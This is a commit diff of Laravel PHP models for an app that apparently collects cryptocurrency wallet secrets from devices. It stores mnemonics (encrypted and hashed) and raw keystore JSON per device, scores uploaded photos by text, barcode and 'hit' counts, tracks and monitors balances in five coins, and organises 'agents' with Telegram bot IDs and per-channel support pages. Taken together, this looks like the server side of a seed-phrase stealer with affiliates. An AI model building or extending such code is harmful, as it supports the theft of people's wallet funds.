feature
This commit is contained in:
@@ -6,7 +6,7 @@ use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
|
||||
class Admin extends Authenticatable
|
||||
{
|
||||
protected $fillable = ['username', 'password'];
|
||||
protected $fillable = ['username', 'password', 'is_super'];
|
||||
|
||||
protected $hidden = ['password', 'remember_token'];
|
||||
|
||||
@@ -14,6 +14,12 @@ class Admin extends Authenticatable
|
||||
{
|
||||
return [
|
||||
'password' => 'hashed',
|
||||
'is_super' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function isSuper(): bool
|
||||
{
|
||||
return (int) $this->is_super === 1;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Channel extends Model
|
||||
{
|
||||
public const OFFICIAL_USER_ID = 0;
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'user_id', 'domains', 'status', 'remark',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'domains' => 'array',
|
||||
'status' => 'integer',
|
||||
'user_id' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function user(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(User::class, 'user_id');
|
||||
}
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function isOfficial(): bool
|
||||
{
|
||||
return (int) $this->user_id === self::OFFICIAL_USER_ID;
|
||||
}
|
||||
|
||||
public function agentLabel(): string
|
||||
{
|
||||
if ($this->isOfficial()) {
|
||||
return '官方';
|
||||
}
|
||||
|
||||
return $this->user?->username ?: ('#'.$this->user_id);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function resolvedDomains(): array
|
||||
{
|
||||
// Domains come from env only (CORUNA_CHANNEL_DOMAINS).
|
||||
$domains = config('coruna.channel_domains', []);
|
||||
|
||||
return array_values(array_filter(array_map(static function ($d) {
|
||||
return is_string($d) ? trim($d) : '';
|
||||
}, is_array($domains) ? $domains : [])));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function supportLinks(): array
|
||||
{
|
||||
$links = [];
|
||||
foreach ($this->resolvedDomains() as $domain) {
|
||||
$host = preg_replace('#^https?://#i', '', rtrim($domain, '/'));
|
||||
if ($host === '') {
|
||||
continue;
|
||||
}
|
||||
$links[] = 'https://'.$host.'/web/'.$this->channel_id.'/support.html';
|
||||
}
|
||||
|
||||
return $links;
|
||||
}
|
||||
|
||||
public static function randomChannelId(): string
|
||||
{
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
public static function maxPerAgent(): int
|
||||
{
|
||||
$n = (int) config('coruna.channels.max_per_agent', 5);
|
||||
|
||||
return max(1, $n);
|
||||
}
|
||||
}
|
||||
@@ -38,13 +38,18 @@ class Device extends Model
|
||||
return $this->hasMany(Note::class);
|
||||
}
|
||||
|
||||
public function wallets(): HasMany
|
||||
{
|
||||
return $this->hasMany(Wallet::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
}
|
||||
|
||||
public function mnemonics(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletMnemonic::class);
|
||||
}
|
||||
|
||||
public function keystores(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletKeystore::class);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,12 +8,14 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
class Note extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'title', 'body', 'meta_json',
|
||||
'device_id', 'content',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['meta_json' => 'array'];
|
||||
return [
|
||||
'content' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
|
||||
@@ -8,14 +8,17 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
class Photo extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'sha256', 'path', 'width', 'height', 'size', 'counters_json',
|
||||
'device_id',
|
||||
'sha256',
|
||||
'path',
|
||||
'size',
|
||||
'x_hit',
|
||||
'upload_count',
|
||||
'process_index',
|
||||
'text_count',
|
||||
'barcode_count',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['counters_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class Setting extends Model
|
||||
{
|
||||
protected $fillable = ['key', 'value'];
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class TokenviewEvent extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'txid', 'address', 'coin', 'token_symbol', 'value', 'token_value',
|
||||
];
|
||||
}
|
||||
+14
-28
@@ -2,48 +2,34 @@
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
// use Illuminate\Contracts\Auth\MustVerifyEmail;
|
||||
use Database\Factories\UserFactory;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
use Illuminate\Notifications\Notifiable;
|
||||
|
||||
class User extends Authenticatable
|
||||
{
|
||||
/** @use HasFactory<UserFactory> */
|
||||
use HasFactory, Notifiable;
|
||||
|
||||
/**
|
||||
* The attributes that are mass assignable.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'email',
|
||||
'password',
|
||||
'username', 'password', 'status', 'comment', 'chat_id', 'bot_id',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be hidden for serialization.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $hidden = [
|
||||
'password',
|
||||
'remember_token',
|
||||
'password', 'remember_token',
|
||||
];
|
||||
|
||||
/**
|
||||
* Get the attributes that should be cast.
|
||||
*
|
||||
* @return array<string, string>
|
||||
*/
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'email_verified_at' => 'datetime',
|
||||
'password' => 'hashed',
|
||||
'status' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function channels(): HasMany
|
||||
{
|
||||
return $this->hasMany(Channel::class, 'user_id');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,16 +7,33 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class WalletAddress extends Model
|
||||
{
|
||||
/** @var list<string> */
|
||||
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
|
||||
|
||||
/** Display decimal places per coin (UI). */
|
||||
public const DISPLAY_DECIMALS = [
|
||||
'usdt' => 2,
|
||||
'trx' => 6,
|
||||
'eth' => 6,
|
||||
'btc' => 8,
|
||||
'bnb' => 6,
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'wallet_id', 'address', 'chain', 'balance',
|
||||
'symbol', 'telegram_notified', 'meta_json',
|
||||
'device_id', 'address', 'chain_type',
|
||||
'usdt', 'trx', 'eth', 'btc', 'bnb',
|
||||
'monitor', 'source',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
'meta_json' => 'array',
|
||||
'monitor' => 'integer',
|
||||
'usdt' => 'decimal:6',
|
||||
'trx' => 'decimal:6',
|
||||
'eth' => 'decimal:18',
|
||||
'btc' => 'decimal:8',
|
||||
'bnb' => 'decimal:18',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -25,8 +42,101 @@ class WalletAddress extends Model
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function wallet(): BelongsTo
|
||||
/**
|
||||
* Map a symbol=>amount payload into coin column attributes (only known coins).
|
||||
* Missing symbols are omitted (caller merges with existing row).
|
||||
*
|
||||
* @param array<string, mixed>|string|null $balance
|
||||
* @return array<string, string|int|float|null>
|
||||
*/
|
||||
public static function coinAttributesFromBalance(mixed $balance): array
|
||||
{
|
||||
return $this->belongsTo(Wallet::class);
|
||||
if (! is_array($balance)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach ($balance as $symbol => $value) {
|
||||
$col = strtolower((string) $symbol);
|
||||
if (! in_array($col, self::COIN_COLUMNS, true)) {
|
||||
continue;
|
||||
}
|
||||
if ($value === null || $value === '') {
|
||||
$out[$col] = null;
|
||||
continue;
|
||||
}
|
||||
if (! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
$out[$col] = $value;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public static function displayDecimals(string $coin): int
|
||||
{
|
||||
$coin = strtolower($coin);
|
||||
|
||||
return self::DISPLAY_DECIMALS[$coin] ?? 6;
|
||||
}
|
||||
|
||||
public static function formatAmount(string $coin, mixed $amount): string
|
||||
{
|
||||
if ($amount === null || $amount === '') {
|
||||
return '';
|
||||
}
|
||||
if (! is_numeric($amount)) {
|
||||
return (string) $amount;
|
||||
}
|
||||
|
||||
$decimals = self::displayDecimals($coin);
|
||||
$formatted = number_format((float) $amount, $decimals, '.', '');
|
||||
$formatted = rtrim(rtrim($formatted, '0'), '.');
|
||||
|
||||
return $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
public function formattedCoins(): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (self::COIN_COLUMNS as $col) {
|
||||
$out[$col] = self::formatAmount($col, $this->{$col});
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function coinsSummary(): ?string
|
||||
{
|
||||
$parts = [];
|
||||
foreach (self::COIN_COLUMNS as $col) {
|
||||
$raw = $this->{$col};
|
||||
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||
continue;
|
||||
}
|
||||
$parts[strtoupper($col)] = self::formatAmount($col, $raw);
|
||||
}
|
||||
|
||||
return $parts === [] ? null : json_encode($parts, JSON_UNESCAPED_UNICODE);
|
||||
}
|
||||
|
||||
/**
|
||||
* Snapshot of coin columns for change detection.
|
||||
*
|
||||
* @return array<string, string|null>
|
||||
*/
|
||||
public function coinSnapshot(): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (self::COIN_COLUMNS as $col) {
|
||||
$v = $this->{$col};
|
||||
$out[$col] = $v === null || $v === '' ? null : (string) $v;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class WalletKeystore extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'raw_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'raw_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -4,35 +4,34 @@ namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
class Wallet extends Model
|
||||
class WalletMnemonic extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
|
||||
'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['raw_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
public static function hashSecret(string $secret): string
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
return hash('sha256', $secret);
|
||||
}
|
||||
|
||||
public function setMnemonicAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['mnemonic_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
if ($value === null || $value === '') {
|
||||
$this->attributes['mnemonic_enc'] = null;
|
||||
$this->attributes['mnemonic_hash'] = null;
|
||||
|
||||
return;
|
||||
}
|
||||
$this->attributes['mnemonic_hash'] = self::hashSecret($value);
|
||||
$this->attributes['mnemonic_enc'] = Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getMnemonicAttribute(): ?string
|
||||
@@ -48,26 +47,6 @@ class Wallet extends Model
|
||||
}
|
||||
}
|
||||
|
||||
public function setPrivkeyAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['privkey_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getPrivkeyAttribute(): ?string
|
||||
{
|
||||
if (empty($this->attributes['privkey_enc'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return Crypt::decryptString($this->attributes['privkey_enc']);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static function maskSecret(?string $value): string
|
||||
{
|
||||
if ($value === null || $value === '') {
|
||||
Reference in New Issue
Block a user